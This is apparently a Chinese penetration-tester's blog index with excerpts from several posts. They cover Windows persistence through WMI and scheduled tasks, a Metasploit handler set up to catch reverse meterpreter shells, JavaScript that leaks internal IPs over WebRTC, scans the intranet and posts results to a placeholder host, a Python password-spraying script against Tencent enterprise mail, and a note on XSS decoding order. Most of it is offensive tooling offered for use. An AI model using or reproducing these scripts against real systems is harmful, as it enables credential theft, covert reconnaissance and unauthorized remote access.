wubba lubba dub dub.
post @ 2017-07-12

windows下的定时任务

维持权限的话还是考虑WMI事件或者在服务上下手. 如劫持相关服务指向的程序,未被双引号保护的路径等,添加计划任务一旦被报警.就是整个团队的灾难

WMI后门

wmi的逻辑结构是这样的:
首先是wmi使用者,比如脚本或者其他用到wmi接口的应用程序。由wmi使用者访问CIM对象管理器WinMgmt(即WMI服务),后者再访问CIM(公共信息模型Common Information Model)存储库。

静态或动态的信息(对象的属性)就保存在CIM库中,同时保存对象的方法。比如启动一个服务,通过执行对象的方法实现,实际上是通过COM技术调用各种dll,最后由dll中封装的API完成请求。WMI是事件驱动的,操作系统、服务、应用程序、设备驱动程序等都可以作为事件源,通过COM接口生成事件通知,WinMgmt捕捉到事件,然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样,CIM库也有分类,用面向对象的术语描述来来说,叫做命名空间(Name Space)

http://huaidan.org/archives/1087.html

可以调用wmi的方式或者语言:

* wmic.exe
* winrm.exe
* winrs.exe
* powershell
* windows scripting host(WSH)
   * VBScript
   * JScript
* mof
* C/C++ via IWbem* COM API
* .NET System.Management classes

单一点:
一个定时功能后门的wmi,其中的事件过滤是用WQL查询来触发,wooyun上面油三种触发方式:

WSH

Read More
post @ 2017-05-24

windows下查询定时任务,会出现无法加载列资源的情况:

https://raw.githubusercontent.com/Ridter/Pentest/master/backdoor/Persistent/Schtasks-Backdoor.ps1

chcp 437  //cmd执行之后,切换到英文的cmd
schtasks /query  //列出所有task
schtasks /query /xml  //列出所有xml文件格式的定时任务
schtasks /query /xml /TN 'name' //列出某个任务的详细信息(TN: TaskName)
schtasks /delete /TN  "name" //删除某个定时任务,这个名字可以再query的时候找到, /f 强制删除

一种是定时任务,但是执行powershell的时候会弹窗
https://superuser.com/questions/478052/windows-7-task-scheduler-hidden-setting-doesnt-work

https://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/
设置userid NT AUTHORITY\SYSTEM 即可

Dim shell,command
command = "powershell.exe -nologo -command \\PrintServer\PrintRelease.ps1"
set shell = CreateObject("WScript.Shell")
shell.Run command,0

msf接收多个shell可以如下这样做:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.117
set LPORT 31337
set ExitOnSession false
exploit -j -z

或者上面的保存为listener.rc,然后msfconsole启动
msfconsole -r ./listener.rc

XML文件如下:

Read More
post @ 2017-05-23

http://cb.drops.wiki/bugs/wooyun-2014-076685.html

代码未测试

var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function(){
	var rtc = new RTCPeerConnection({iceServers:[]});
	if (window.mozRTCPeerConnection){
		rtc.createDataChannel('',{reliable:false});
	};
	rtc.onicecandidate = function(evt){
		if (evt.candidate) grepSDP(evt.candidate.candidate);
	};
	rtc.createOffer(function(offerDesc){
		grepSDP(offerDesc.sdp);
		rtc.setLocalDescription(offerDesc);
	},function(e){console.warn("offer failed", e);});
	var addrs = Object.create(null);
	addrs["0.0.0.0"] = false;
	function updateDisplay(newAddr){
		if(newAddr in addrs) return;
		else addrs[newAddr] = true;
		var displayAddrs = Object.keys(addrs).filter(function(k){return addrs[k];});
		var address = displayAddrs.join("or perhaps") || "n/a";
		sendip(address);
	}
	function grepSDP(sdp){
		var hosts = [];
		sdp.split('\r\n').forEach(function(line){
			if(~line.indexOf("a=candidate")){
				var parts = line.split(' '),
				addr = parts[4],
				type = parts[7];
				if(type === 'host') updateDisplay(addr);
			}else if(~line.indexOf("c=")){
				var parts = line.split(' '),
				addr = parts[2];
				updateDisplay(addr);
			}
		});
	}
})();
function sendip(ipaddress){
	var url = "xxxxx";
}

====代码貌似不全====

function ipsend(ip, netport){
	var ipdata = ip+":"+netport;
	var url = "x.x.x.x";
	var xmlhttp1 = new XMLHttpRequest();
	xmlhttp1.open("POST",url,true);
	xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	xmlhttp1.send("ip==<!--start-->" + ipdata);

function ipCreate(ip){
	var ips = ip.replace(/(\d+\.\d+\.\d+)\.\d+/,'$1.');
	for(var i=1;i<=255;i++){
		ElementCreate(ips+i,"80",i);
		ElementCreate(ips+i,"8087",i);
		ElementCreate(ips+i,"8080",i);
	}
}
function ElementCreate(ip,xport,i){
	var url = "http://"+ip+":"+xport;
	var scriptElement = document.createElement("script");
	scriptElement.src = url;
	scriptElement.setAttribute("onload","ipsend(\'"+ip+"\',\'"+xport+"\')");
	document.body.appendChild(scriptElement);
}
ipcreate("10.10.125.195");
}

=====代码貌似不全====







Read More
post @ 2017-05-19
#!/usr/bin/env python
# coding: utf-8

import smtplib
import random
import time
import sys


def tencent(user, password):
	time.sleep(random.uniform(2, 6))
	smtp_server = "smtp.exmail.qq.com"
	smtp_port = 587
	server = smtplib.SMTP(smtp_server, smtp_port)
	server.starttls()
	try:
		server.login(user, password)
		print '[+]----------auth success------%s' % password
	except smtplib.SMTPAuthenticationError as e:
		print '[+] Auth Fail %s: %s' % (user, password)


def genpasswd(user, suffix):
	domain = suffix.split('.')[0]
	password = []
	password.append(domain + '@123')
	password.append(domain + '@1234')
	name = user.split('@')[0]
	wake_value=['!@#$%^1qazxsw2 ', 'admin!@#', 'Abc123', '123456aa~', 'qazwsx123', '1qaz2wsx', 'asd123456', '123456a~', 'Asdf1234', 'Qwer1234', 'Abcd1234', 'a123456', '123456a', name[0].upper()+name[1:]+'123', name+'123', name+'1234',name+'@2016', name+'@2017']
	password.extend(wake_value)
	return password


def genusers(userfiles, suffix):
	users = []
	with open(userfiles, 'rb') as f:
		while 1:
			user = f.readline().strip()
			if user == '':
				break
			users.append(user + '@' + suffix)
		return users

if __name__ == "__main__":
	if len(sys.argv) != 3:
		print 'Usage: %s userfile domain' % sys.argv[0]
		print '%s users.txt baidu.com' % sys.argv[0]
		exit(0)
	userfile = sys.argv[1]
	suffix = sys.argv[2]
	for user in genusers(userfile, suffix):
		for password in genpasswd(user, suffix):
			tencent(user, password)
Read More
post @ 2017-04-12

在前面文章里面xss的编码提到过这个东西:

Fun fact Decoding Order:
1. HTML Decoding
2. URL Decoding
3. Javascript Decoding

http://slides.com/mscasharjaved/deck-13#/169

HTML标签里面,js之行之前,html形式的编码会自动decode。

解释:

<button type="submit" onclick="x='<img src=@ onerror=alert(123) />';document.write(HtmlEncode(x))">xsstest</button>

丢到test.html里面,使用浏览器打开还是原样。

所以xss存在的步骤来说是这样的:
代码--> 浏览器执行 --> xss

浏览器解释了其中的代码展现给人看。

HTML的自动解码是在执行js代码之前,并且on*事件内可以执行js脚本,即 html解码之后才可以执行js

Read More
⬆︎TOP